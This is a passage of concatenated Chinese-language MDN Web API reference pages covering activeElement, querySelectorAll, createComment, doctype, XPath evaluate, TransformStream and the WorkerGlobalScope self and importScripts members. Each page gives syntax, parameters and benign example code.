通常情况下，如果 `HTMLInputElement` 或者 `HTMLTextAreaElement`元素中有文字被选中时， `activeElement`属性就会返回该元素。这时，你可以调用该元素的`selectionStart` 和 `selectionEnd` 属性获取更多选中文字的信息。其他情况下，焦点元素也可能是`<select>`元素 (menu) 或者一个别的 `<input>` 元素，比如 `"button"`、`"checkbox"` 或者 `"radio"`。

通常用户可以使用 tab 键来切换页面中的焦点元素获得焦点，使用空格键使元素 active (比如按下一个按钮或者 切换一个 radio). 具体哪些元素可以获得焦点与系统和浏览器的设置有关。比如，在 macOS 系统上，不是 text input 元素默认情况下是不能获得焦点的。

**备注：** Focus (可收到 input 事件的元素) 和 selection (目前页面被高亮的部分) 不是一回事。你可以通过 `window.getSelection()`获取当前用户选择的文本。

Syntax
------
```

element = DocumentOrShadowRoot.activeElement
```

### Value

当前获得焦点的 `Element` ，如果没有焦点元素，会返回 `<body>` 或者 `null` 。

Example
-------

### HTML

```html
<p>Select some text from one of the text areas below:</p>

<form>
  <textarea name="ta-example-one" id="ta-example-one" rows="7" cols="40">
This is Text Area One. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec tincidunt, lorem a porttitor molestie, odio nibh iaculis libero, et accumsan nunc orci eu dui.</textarea
 >
  <textarea name="ta-example-two" id="ta-example-two" rows="7" cols="40">
This is Text Area Two. Fusce ullamcorper, nisl ac porttitor adipiscing, urna orci egestas libero, ut accumsan orci lacus laoreet diam. Morbi sed euismod diam.</textarea
 >
</form>

<p>Active element ID: <b id="output-element"></b></p>
<p>Selected text: <b id="output-text"></b></p>
```

### JavaScript

```js
function onMouseUp(e) {
  const activeTextarea = document.activeElement;
  const selection = activeTextarea.value.substring(
    activeTextarea.selectionStart,
    activeTextarea.selectionEnd,
  );

  const outputElement = document.getElementById("output-element");
  const outputText = document.getElementById("output-text");
  outputElement.innerHTML = activeTextarea.id;
  outputText.innerHTML = selection;
}

const textarea1 = document.getElementById("ta-example-one");
const textarea2 = document.getElementById("ta-example-two");
textarea1.addEventListener("mouseup", onMouseUp, false);
textarea2.addEventListener("mouseup", onMouseUp, false);
```

### Result

规范
--

| Specification |
| --- |
| HTML Standard # dom-documentorshadowroot-activeelement-dev |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Document.querySelectorAll - Web API 接口参考

Document.querySelectorAll
=========================

概述
--

返回与指定的选择器组匹配的文档中的元素列表 (使用深度优先的先序遍历文档的节点)。返回的对象是 `NodeList` 。

**备注：** 此方法基于`ParentNode` mixin 的`querySelectorAll()` 实现。

语法
--

```js
querySelectorAll(selectors)
```

### 参数

`selectors`

一个包含一个或多个匹配的选择器的字符串。其必须是一个有效的 CSS 选择器字符串，如果不是，会抛出 `SyntaxError` 异常。有关使用选择器标识元素的更多信息，请参阅使用选择器定位 DOM 元素，可以通过使用逗号分隔多个选择器来指定它们。

**备注：** 必须使用反斜杠字符转义不属于标准 CSS 语法的字符。由于 JavaScript 也使用反斜杠转义，因此在使用这些字符编写字符串文字时必须特别小心。有关详细信息，请参阅转义特殊字符

### 返回值

一个静态 `NodeList`，包含一个与至少一个指定选择器匹配的元素的`Element`对象，或者在没有匹配的情况下为空`NodeList`

**备注：** 如果 `selectors` 参数中包含 CSS 伪元素，则返回的列表始终为空。

### 异常

`SyntaxError`

如果指定的 `选择器` 不合法，会抛出错误。如$("##div")

示例
--

### 获取匹配列表

要获取文档中所有`<p>`元素的`NodeList`。

```js
var matches = document.querySelectorAll("p");
```

此示例返回文档中所有`<div>`元素的列表，其中 class 包含"`note`"或"`alert`"：

```js
var matches = document.querySelectorAll("div.note, div.alert");
```

在这里，我们得到一个`<p>`元素的列表，其直接父元素是一个 class 为`"highlighted"`的`div`，并且位于 ID 为`"test"`的容器内。

```js
var container = document.querySelector("#test");
var matches = container.querySelectorAll("div.highlighted > p");
```

此示例使用属性选择器返回文档中属性名为`"data-src"`的`iframe`元素列表：

```js
var matches = document.querySelectorAll("iframe[data-src]");
```

这里，属性选择器用于返回 ID 为`"userlist"`的列表中包含值为`"1"`的`"data-active"`属性的元素

```js
var container = document.querySelector("#userlist");
var matches = container.querySelectorAll("li[data-active='1']");
```

### 访问匹配项

一旦返回匹配元素的`NodeList`，就可以像任何数组一样检查它。如果数组为空（即，其`length`属性为 0），则找不到匹配项。

否则，你只需使用标准数组方法来访问列表的内容。你可以使用任何常见的循环语句，例如：

```js
var highlightedItems = userList.querySelectorAll(".highlighted");

highlightedItems.forEach(function (userItem) {
  deleteUser(userItem);
});
```

用户备注
----

`querySelectorAll()` 的行为与大多数常见的 JavaScript DOM 库不同，这可能会导致意外结果。

### HTML

考虑这个 HTML 及其三个嵌套的`<div>`块

```html
<div class="outer">
  <div class="select">
    <div class="inner"></div>
  </div>
</div>
```

### JavaScript

```js
var select = document.querySelector(".select");
var inner = select.querySelectorAll(".outer .inner");
inner.length; // 1, not 0!
```

在这个例子中，当在`<div>`上下文中选择带有`"select"`类的`".outer .inner"`时，仍然会找到类`".inner"`的元素，即使`.outer`不是基类的后代 执行搜索的元素（`".select"`）。默认情况下，`querySelectorAll()`仅验证选择器中的最后一个元素是否在搜索范围内。

`:scope` 伪类符合预期的行为，只匹配基本元素后代的选择器：

```js
var select = document.querySelector(".select");
var inner = select.querySelectorAll(":scope .outer .inner");
inner.length; // 0
```

规范
--

| Specification |
| --- |
| DOM Standard # ref-for-dom-parentnode-queryselectorall① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* Locating DOM elements using selectors
* Attribute selectors in the CSS Guide
* Attribute selectors in the MDN Learning Area
* `Element.querySelector()` and `Element.querySelectorAll()`
* `Document.querySelector()`
* `DocumentFragment.querySelector()` and `DocumentFragment.querySelectorAll()`
* `ParentNode.querySelector()` and `ParentNode.querySelectorAll()`
* Code snippets for `querySelector()`


document.createComment - Web API 接口参考

document.createComment
======================

### 概述

`createComment()` 方法用来创建并返回一个注释节点。

### 语法
```

var commentNode = document.createComment(data)
```

### 参数

* `commentNode` 是一个注释节点。
* `data` 是一个字符串，包含了注释的内容。
### 例子
```

var docu = new DOMParser().parseFromString('<xml></xml>',  "application/xml")

var comment = docu.createComment('这是注释内容');

docu.getElementsByTagName('xml')[0].appendChild(comment);

alert(new XMLSerializer().serializeToString(docu));
// 弹出 <xml><!--这是注释内容--></xml>
```

### 备注

* 如果 data 字符串包含了 "--" ,则会抛出 `NS_ERROR_DOM_INVALID_CHARACTER_ERR`异常，这种情况需要对"--" 字符串进行转义。
### 规范

createComment


document.doctype - Web API 接口参考

document.doctype
================

返回当前文档关联的文档类型定义 (DTD). 返回的对象实现了 DocumentType 接口。使用 `DOMImplementation.createDocumentType()` 方法可以创建一个`DocumentType`类型的对象。语法
--
```

doctype = document.doctype;
```

* `doctype` 是一个只读属性。
示例
--

```js
var doctypeObj = document.doctype;

console.log(
  "doctypeObj.name: " +
    doctypeObj.name +
    "\n" +
    "doctypeObj.internalSubset: " +
    doctypeObj.internalSubset +
    "\n" +
    "doctypeObj.publicId: " +
    doctypeObj.publicId +
    "\n" +
    "doctypeObj.systemId: " +
    doctypeObj.systemId,
);
```

附注
--

如果当前文档没有 DTD，则该属性返回`null`。

DOM level 2 不支持编辑文档类型定义。

规范
--

| Specification |
| --- |
| DOM Standard # ref-for-dom-document-doctype① |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Document.evaluate() - Web API 接口参考

Document.evaluate()
===================

根据传入的 XPath (en-US) 表达式以及其他参数，返回一个 `XPathResult` (en-US) 对象。

语法
--
```

var xpathResult = document.evaluate(
  xpathExpression,
  contextNode,
  namespaceResolver,
  resultType,
  result
);
```

* `xpathExpression` 表示要计算的 Xpath 字符串。
* `contextNode` 表示本次查询的*上下文节点*（参照 XPath 规范 http://www.w3.org/TR/xpath）。通常会使用 `document`。
* `namespaceResolver` 是函数。传入名空间前缀，返回跟此前缀相关的名空间 URI（字符串）。通常用来解析 Xpath 内的前缀，以便对文档进行匹配。HTML 文档或者不使用名空间前缀的文档，通常传入 `null`。
* `resultType` 是整数。指定所返回的 `XPathResult` 的类型，常使用 named constant properties，如 `XPathResult.ANY_TYPE`，范围 0 到 9，见下表。
* `result` 为 `XPathResult` 型，用以存储查询结果。通常传入 `null`，此时将创建新的 `XPathResult` 对象。
示例
--

```js
var headings = document.evaluate(
  "/html/body//h2",
  document,
  null,
  XPathResult.ANY\_TYPE,
  null,
);
/\* 在 document 中查找所有的 h2 元素。
 \* 结果可能是无序节点迭代器。 \*/
var thisHeading = headings.iterateNext();
var alertText = "Level 2 headings in this document are:\n";
while (thisHeading) {
  alertText += thisHeading.textContent + "\n";
  thisHeading = headings.iterateNext();
}
alert(alertText); // 显示所有 h2 节点的文本
```

注意，在上述例子中，最好写更冗长的 XPath，而不是常用的简写，比如 `//h2`。通常，像上述例子所示，更具体的 XPath 选择器会得到显著的性能提升，特别是在非常大的文档中。这是因为查询计算不会将时间浪费在查看不需要的节点上。使用 // 通常很慢，这是因为它要从根节点和所有子节点中查找所有可能匹配的节点。

通过谨慎使用上下文参数能得到进一步的优化。比如，如果你知道你要查找的内容在 `body` 标签的某处，你可以这样做：

```js
document.evaluate(".//h2", document.body, null, XPathResult.ANY\_TYPE, null);
```

注意上面的 `document.body` 已经替代了 document 作为上下文，所以 XPath 从 body 元素开始查找。（在这个例子中，`"."` 很重要，因为它指示了查找要从 document.body 这个上下文节点开始。如果遗漏了 `"."` (剩下 `//h2`) ，查找会从根节点（`html`）处开始，这样会很浪费。）

查阅 Introduction to using XPath in JavaScript 获得更多信息。

注意
--

* XPath 表达式能在 HTML 和 XML 文档上计算。
* 如果要计算别的而不是当前文档，在 FF3 上必须使用`someXMLDoc.evaluate()` ，虽然在 FF2 上 `document.evaluate()` 也有效。
结果的类型
-----

(Merge with Template:XPathResultConstants?

这些是 `evaluate` 方法的 `resultType` 参数支持的值：

| Result Type | Value | Description |
| --- | --- | --- |
| `ANY_TYPE` | 0 | Whatever type naturally results from the given expression. |
| `NUMBER_TYPE` | 1 | A result set containing a single number. Useful, for example, in an XPath expression using the `count()` function. |
| `STRING_TYPE` | 2 | A result set containing a single string. |
| `BOOLEAN_TYPE` | 3 | A result set containing a single boolean value. Useful, for example, an an XPath expression using the `not()` function. |
| `UNORDERED_NODE_ITERATOR_TYPE` | 4 | A result set containing all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document. |
| `ORDERED_NODE_ITERATOR_TYPE` | 5 | A result set containing all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document. |
| `UNORDERED_NODE_SNAPSHOT_TYPE` | 6 | A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document. |
| `ORDERED_NODE_SNAPSHOT_TYPE` | 7 | A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document. |
| `ANY_UNORDERED_NODE_TYPE` | 8 | A result set containing any single node that matches the expression. The node is not necessarily the first node in the document that matches the expression. |
| `FIRST_ORDERED_NODE_TYPE` | 9 | A result set containing the first node in the document that matches the expression. |

Results of `NODE_ITERATOR` types contain references to nodes in the document. Modifying a node will invalidate the iterator. After modifying a node, attempting to iterate through the results will result in an error.

Results of `NODE_SNAPSHOT` types are snapshots, which are essentially lists of matched nodes. You can make changes to the document by altering snapshot nodes. Modifying the document doesn't invalidate the snapshot; however, if the document is changed, the snapshot may not correspond to the current state of the document, since nodes may have moved, been changed, added, or removed.

规范
--

| Specification |
| --- |
| DOM Standard # dom-xpathevaluatorbase-evaluate |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `Document.createExpression()`
* `XPathResult` (en-US)
* XPath Code Snippets
* Check for browser support


TransformStream.writable - Web API 接口参考

TransformStream.writable
========================

`TransformStream` 接口的只读属性 **`writable`** 返回由这个 `TransformStream` 控制的 `WritableStream` 实例。

值
-

一个 `WritableStream`。

示例
--

以下示例创建了一个新的 `TransformStream` 并将其赋值给 `textEncoderStream`，然后将 `writable` 的值打印到控制台上。

```js
const textEncoderStream = new TransformStream();
console.log(textEncoderStream.writable); // a WritableStream
```

规范
--

| Specification |
| --- |
| Streams Standard # ref-for-ts-writable② |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


TransformStream.readable - Web API 接口参考

TransformStream.readable
========================

`TransformStream` 接口的只读属性 **`readable`** 返回由这个 `TransformStream` 控制的 `ReadableStream` 实例。

值
-

一个 `ReadableStream`。

示例
--

以下示例创建了一个新的 `TransformStream` 并将其赋值给 `textEncoderStream`，然后将 `readable` 的值打印到控制台上。

```js
const textEncoderStream = new TransformStream();
console.log(textEncoderStream.readable); // a ReadableStream
```

规范
--

| Specification |
| --- |
| Streams Standard # ref-for-ts-readable② |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


TransformStream() - Web API 接口参考

TransformStream()
=================

**`TransformStream()`** 构造函数创建一个新的 `TransformStream` 对象，该对象表示一对流：一个 `WritableStream` 表示可写端，和一个 `ReadableStream` 表示可读端。

语法
--

```js
new TransformStream()
new TransformStream(transformer)
new TransformStream(transformer, writableStrategy)
new TransformStream(transformer, writableStrategy, readableStrategy)
```

### 参数

`transformer`可选

一个表示 `transformer` 的对象。如果未提供，则生成的流将是一个**恒等变换流**，它将所有写入可写端的分块转发到可读端，不会有任何改变。

transformer 对象可以包含以下任何方法。每个方法的 `controller` 都是一个 `TransformStreamDefaultController` 实例。

`start(controller)`

当 `TransformStream` 被构造时调用。它通常用于使用 `TransformStreamDefaultController.enqueue()` 对分块进行排队。

`transform(chunk, controller)`

当一个写入可写端的分块准备好转换时调用，并且执行转换流的工作。如果没有提供 `transform()` 方法，则使用恒等变换，并且分块将在没有更改的情况下排队。

`flush(controller)`

当所有写入可写端的分块成功转换后被调用，并且可写端将会关闭。

`writableStrategy`可选

一个定义了队列策略的可选对象。它需要两个参数：

`highWaterMark`

一个非负整数。它定义了在应用背压之前内部队列包含的分块的总数。

`size(chunk)`

一个包含参数 `chunk` 的方法。它表示用于每一个块的大小，以字节为单位。

`readableStrategy`可选

一个定义了队列策略的可选对象。它需要两个参数：

`highWaterMark`

一个非负整数。它定义了在应用背压之前内部队列包含的分块的总数。

`size(chunk)`

一个包含参数 `chunk` 的方法。它表示用于每一个块的大小，以字节为单位。

**备注：** 你可以自定义 `readableStrategy` 或 `writableStrategy`，或者使用 `ByteLengthQueuingStrategy` 或 `CountQueuingStrategy` 的实例作为对象的值。

示例
--

### 将文本转换为大写

以下示例将文本逐块转换为大写。这个示例来自数据流——权威指南，它有关于不同类型流的一些示例。

```js
function upperCaseStream() {
  return new TransformStream({
    transform(chunk, controller) {
      controller.enqueue(chunk.toUpperCase());
    },
  });
}

function appendToDOMStream(el) {
  return new WritableStream({
    write(chunk) {
      el.append(chunk);
    },
  });
}

fetch("./lorem-ipsum.txt").then((response) =>
  response.body
    .pipeThrough(new TextDecoderStream())
    .pipeThrough(upperCaseStream())
    .pipeTo(appendToDOMStream(document.body)),
);
```

### 创建一个恒等变换流

如果没有提供 `transformer` 参数，那么结果将是一个恒等流，它将所有写入可写端的分块转发到可读端，并且不做任何改变。在以下示例中，一个恒等转换流被用于向一个管道添加缓冲。

```js
const writableStrategy = new ByteLengthQueuingStrategy({
  highWaterMark: 1024 \* 1024,
});
readableStream
  .pipeThrough(new TransformStream(undefined, writableStrategy))
  .pipeTo(writableStream);
```

规范
--

| Specification |
| --- |
| Streams Standard # ref-for-ts-constructor④ |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


WorkerGlobalScope.self - Web API 接口参考

WorkerGlobalScope.self
======================

**`self`** 是 `WorkerGlobalScope` (en-US) 的只读属性，它指向 `WorkerGlobalScope` 自身。通常情况下，它是如 `DedicatedWorkerGlobalScope`, `SharedWorkerGlobalScope` (en-US), 或 `ServiceWorkerGlobalScope` 类型的 scope。

语法
--

```js
var selfRef = self;
```

### 值

当前 worker 的全局 scope（值取决于你创建的 worker 类型）。

示例
--

在 worker 中运行这行代码：

```js
console.log(self);
```

console 中会输出当前 worker 的全局 scope，如下所示：

```js
DedicatedWorkerGlobalScope {
undefined: undefined, Infinity: Infinity, Math: MathConstructor, NaN: NaN, Intl: Object…}
    Infinity: Infinity
    Array: function Array() { [native code] }
      arguments: null
      caller: null
      isArray: function isArray() { [native code] }
      length: 1
      name: "Array"
      observe: function observe() { [native code] }
      prototype: Array[0]
      unobserve: function unobserve() { [native code] }
      \_\_proto\_\_: function Empty() {}
      <function scope>
    ArrayBuffer: function ArrayBuffer() { [native code] }
    Blob: function Blob() { [native code] }
    Boolean: function Boolean() { [native code] }
    DataView: function DataView() { [native code] }
    Date: function Date() { [native code] }
    DedicatedWorkerGlobalScope: function DedicatedWorkerGlobalScope() { [native code] }
    Error: function Error() { [native code] }
// etc. etc.
```

这会列出当前 worker scope 上完整的属性列表，在需要检测某个属性是否可用时非常有用。详细列表也可查阅 Functions and classes available to Web Workers (en-US).

规范
--

| Specification |
| --- |
| HTML Standard # dom-workerglobalscope-self-dev |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

`WorkerGlobalScope` (en-US)


WorkerGlobalScope.importScripts() - Web API 接口参考

WorkerGlobalScope.importScripts()
=================================

`WorkerGlobalScope` (en-US) 接口的\*\*`importScripts()`\*\* 方法将一个或多个脚本同步导入到工作者的作用域中。

语法
--

```js
self.importScripts('foo.js');
self.importScripts('foo.js', 'bar.js', ...);
```

### 参数

`DOMString` 对象的一个逗号分隔列表，表示要导入的脚本。

### 返回值

*无。*

### 异常

| 异常 | 描述 |
| --- | --- |
| `NetworkError` | 要导入的脚本不具有有效的 JavaScript MIME 类型（有效的类型如 `text/javascript`）。 |

例子
--

如果你在一个名为 foo.js 的单独脚本中编写了一些你想在 worker.js 中使用的功能，则可以使用以下行导入它：

```js
importScripts("foo.js");
```

`importScripts()` 和 `self.importScripts()` 实际上是等效的 — 都表示从工作者的内部范围内调用的 `importScripts()`。

规范
--

| Specification |
| --- |
| HTML Standard # dom-workerglobalscope-importscripts-dev |

浏览器兼容性
------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

参见
--

* `WorkerGlobalScope` (en-US)
* Using Web workers